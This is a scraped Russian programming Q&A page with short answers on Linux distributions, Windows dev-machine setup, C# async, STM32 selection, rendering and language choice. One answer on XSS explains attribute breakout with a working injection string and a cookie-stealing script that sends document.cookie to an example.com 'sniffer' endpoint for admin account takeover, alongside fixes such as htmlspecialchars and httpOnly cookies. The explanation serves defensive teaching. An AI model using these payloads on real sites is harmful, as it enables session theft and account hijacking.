Задать вопрос
  • Linux для очень слабого эмулятора?

    POS_troi
    @POS_troi
    СадоМазо Админ, флудер, троль.
    Любой, популярный дистрибьютив, можно Alpine ещё взять.
    Если хочется чего-то вообще нестандартного, то можно пойти по пути джедаев (и да прибудет с вами сила и бочка вискаря :) ) - LFS
    Ответ написан
    2 комментария
  • Есть ли готовые скрипты для развертывания станции веб-разработчика Windows?

    ApeCoder
    @ApeCoder
    https://chocolatey.org/ - берете готовые пакеты, можно делать свои. Можно сделать свой пакет, который будет устанавливать другие пакеты. Можно делать свои репозитории с приватными пакетами Есть еще https://boxstarter.org/ - который делает то же самое + многие другие действия для подготовки новой машины
    Ответ написан
    1 комментарий
  • Есть ли готовые скрипты для развертывания станции веб-разработчика Windows?

    @LiS-31
    Я бы смотрел в сторону PowerShell. С версии WMF 5.1 там появился PackageManager, который позволяет все установки ПО скриптовать.
    Ответ написан
    Комментировать
  • Лучший веб сервер для Angular?

    POS_troi
    @POS_troi
    СадоМазо Админ, флудер, троль.
    Конструктивный ответ: сервер который вы умеете администрировать.
    пс. Nginx ;)
    Ответ написан
    2 комментария
  • Зачем нужен Async Await в C#?

    Асинхронность - это про конкурентность исполнения. Многопоточность - про несколько потоков.

    Асинхронность - это ты проснулся, поставил чайник, пошёл в душ. Услышал писк - вернулся, заварил чай и продолжил чистить зубы.

    Многопоточность - это ты проснулся, пошёл в душ, а твоя девушка поставила чайник.
    Ответ написан
    2 комментария
  • Стоит ли начинать изучение Vue.js с посредственными знаниями javascript?

    Vlad_IT
    @Vlad_IT Куратор тега JavaScript
    Front-end разработчик
    Ну, вы можете конечно попробовать. Но важны знания: объектов, ООП (прототипное или через классы), работа с DOM (чтобы понимать, как все это работает), преобразование типов, понимание ссылочных переменных, замыкания, ajax. Это необходимый минимум.
    Ответ написан
    3 комментария
  • Нужен бесплатный хостинг для экспериментов. Загружать,выгружать сайты. Чтобы было 3-5 бесплатных домена и хостинга?

    sergey-gornostaev
    @sergey-gornostaev
    Седой и строгий
    Heroku предоставляет бесплатно засыпающие дины. Для экспериментов в области программирования - самое то. Если хочется полноценный сервер, AWS предоставляет микроинстансы на год бесплатно. Если в DigitalOcean зарегистрироваться по рефералу и использовать промокод, то можно полгода бесплатно использовать VPS за $5.
    Ответ написан
    Комментировать
  • Как подобрать STM32?

    @HiTechSpoon
    В общем случае выбор конкретного микроконтроллера зависит от задачи и вашего личного опыта. Если вы хорошо знакомы с линейкой, или несколькими, микроконтроллеров, знаете, какие технологии в них доступны и как вы их будете применять, хорошо представляете себе задачу и архитектуру будущего приложения, то выбор конкретного микроконтроллера, как правило не составляет труда.
    В особых случаях, когда вам не известна архитектура будущего приложения и/или возможности конкретного микроконтроллера, приобретается различные Средства Разработки Микроконтроллеров - отладочные, или по-другому, оценочные платы, выпускаемые производителями микроконтроллеров. На этих платах установлен интересующий вас микроконтроллер, как правило, со всевозможной периферией и предзагруженной прошивкой - для тестирования, чтобы поиграться. Для микроконтроллера на этой отладочной плате пишется некоторая часть ПО и в какой-то момент становится ясно, хватит ли мощности данного микроконтроллера. Бывает, что выбранный микроконтроллер слишком мощный, а значит и слишком дорогой для целевой задачи, тогда можно перейти на контроллер попроще и подешевле.
    Однако в реальной жизни даже опытные разработчики могут столкнуться с недостатком вычислительной мощности или недостаточным объемом RAM/ROM где-то в середине/конце сдачи изделия, и тогда ничего другого не остается, кроме как заменить существующий микроконтроллер на более мощный, с большим объемом памяти, или, например, на контроллер со специфичной периферией. Печатную плату приходится переделывать, но это, как правило, обходится малой кровью, хотя бывают и совсем бескровные переделки - например, когда производитель выпускает линейку микроконтроллеров различных по мощности и цене, но совместимых по посадочным площадкам (т.н. пин-ту-пин совместимость).
    Надеюсь, ответил на ваш вопрос.
    Ответ написан
    Комментировать
  • Агрегация большого кол-ва записей из БД?

    Supme
    @Supme
    Просто системный администратор
    Так этож метрики. Influxdb, Prometeus, ClickHouse и тп
    Ответ написан
    Комментировать
  • Как работают видеоредакторы?

    vesper-bot
    @vesper-bot
    Любитель файрволлов
    Вкратце - это называется рендер. Он бывает 2D и 3D, при 2D примитивы двигаются напрямую по области экрана, при 3D рисуется трехмерная сцена. Для отрисовки 3D используется специальное ПО: Maya, 3DS Max, ещё несколько. Данные для сцен кодируются в специфических форматах, данные движения - отдельно, текстуры отдельно, материалы ("синий" - это какой? Блестящий или нет, шершавый или нет, если шершавый, то какой именно? Это всё свойства материала) отдельно. Потом ПО собирает всю информацию в сцену и запускает ray tracing или проверку каждого луча, идущего от зрителя в каждый пиксель (или субпиксель, т.е. несколько лучей на пиксель), куда он попал, куда отразился, куда был преломлен, куда в итоге улетел, и прочие эффекты вроде bump mapping'a, фонового освещения и ещё много чего, что может технически быть на сцене. Из этих пикселей собирается один кадр.

    Если разговор об игровом рендеринге, то подход меняется на отрисовку полигонов вместо трассировки лучей - трассировка чересчур затратная, а frame rate нужно держать на уровне. Спецэффекты, освещение, bump mapping и подобное реализуются шейдерами на GLSL/HLSL или чем-то более продвинутом, сцена кодируется в BSP или другом формате, специфическом для игрового движка (BSP - "дедушка" трехмерных сцен, использовался в Quake 1), объекты внутри сцены имеют свои структуры в том же формате, а для отрисовки используются OpenGL, Direct3D/DirectX и на нижнем уровне - всё те же C++.

    А если разговор о том, как потом собрать видеофайл, то собирается он из статичных картинок, как мультики, скажем, с использованием какого-либо видеокодека.
    Ответ написан
    5 комментариев
  • Что можно сделать со старым компьютером?

    CityCat4
    @CityCat4
    Дома с переломом ноги
    - Подымать в качестве гантели
    - Сидеть
    - Забивать гвозди
    - Использовать в качестве груза при квашении капусты
    - поставить Windows 2000 и ностальгически поигрывать в игры времен начала нулевых

    На что-либо хоть на копеечку серьезное он уже ну никак...
    Ответ написан
    5 комментариев
  • Как вывести результат последней команды в терминале linux?

    @Fixid Куратор тега Linux
    Штатно никак. Для таких случаев перенаправляйте вывод в файл
    Ответ написан
    Комментировать
  • Стоит ли переходить на С?

    ApeCoder
    @ApeCoder
    Если прет от низкоуровневой разработки - C самое оно. Сейчас есть новые языки типа Rust, которые тоже метят примерно в эту нишу, но большо всего кодовой базы наработанно именно на C, наверное. C++, в принципе, очень похож на C с объектной надстройкой, но не тождественен ему. Хотя грубо можно принять, что он включает в себя С.

    Еще в C# довольно много низкоуровневых штучек (см unsafe, stackalloc, указатели)

    Тру девелоперность понятие относительное. Вы можете знать наизусть все флаги процессора, но не знать как спроектировать объектную моель, например.
    Ответ написан
    Комментировать
  • Стоит ли переходить на С?

    @stratosmi
    в добавок к этому у меня устойчивое ощущение, что Си/С++ - языки для "тру девелоперов", и вообще писать на них очень круто.


    Пожалуй, да, так было лет 20 назад.
    Просто потому что альтернатив-то особо и не было.

    Сейчас "тру девелоперы" могут использовать как Go, так и Rust, так и С++, так и уже развитый C#, Java и т.п. и т.д.
    Ответ написан
    3 комментария
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Как в C# сделать выборочное редактирование тхт UTF8 файла без полного считывания?

    freeExec
    @freeExec
    Участник OpenStreetMap
    Никак, в UTF динамический размер символа, поэтому вы не сможете спозиционироваться на нужный символ не прочитав предыдущие. Соответственно если будет не равнозначная замена по количеству байт, то вам в любом случае придётся раздвигать, а это потребует полного считывания файла. В общем, если этот ТХТ файл не гигабайтного размера я бы не стал заморачиваться, читал целиком, заменял и записывал обратно.
    Ответ написан
    4 комментария
  • Актуально ли изучать nodejs для бекенда или лучше оставаться на php?

    FanatPHP
    @FanatPHP
    Чебуратор тега РНР
    Изучать надо программирование.
    Все эти вопросы, "Какую машину лучше учиться водить - Рено или Фольксваген?" - это детский сад, честное слово.
    Если для вас потолок - это несколько десятков встроенных функций одного языка, то всё равно что учить - ковыряться помаленьку можно на любом.
    Программист же мыслит не инструкциями, а алгоритмами, паттернами, потоками данных, структурами объектов, шинами сообщений. На каком языке это все реализуется - не принципиально.
    Ответ написан
    2 комментария
  • Debian 9. Постоянно загружен процессор?

    vaut
    @vaut
    Ставлю что у вас не стоит правильный видеодрайвер.
    Видеокарта nvidia?
    Ответ написан
  • Как написать систему автоматизации ресторана на C#?

    borisdenis
    @borisdenis
    Ленив и вреден...
    Планшет - значит андроид, а значит пишем приложение на C# с использованием Xamarin которое общается с сервером по апи.
    Сервер - используем ASP.NET Web API с которым взаимодействуют приложения с планшета.
    Ответ написан
    1 комментарий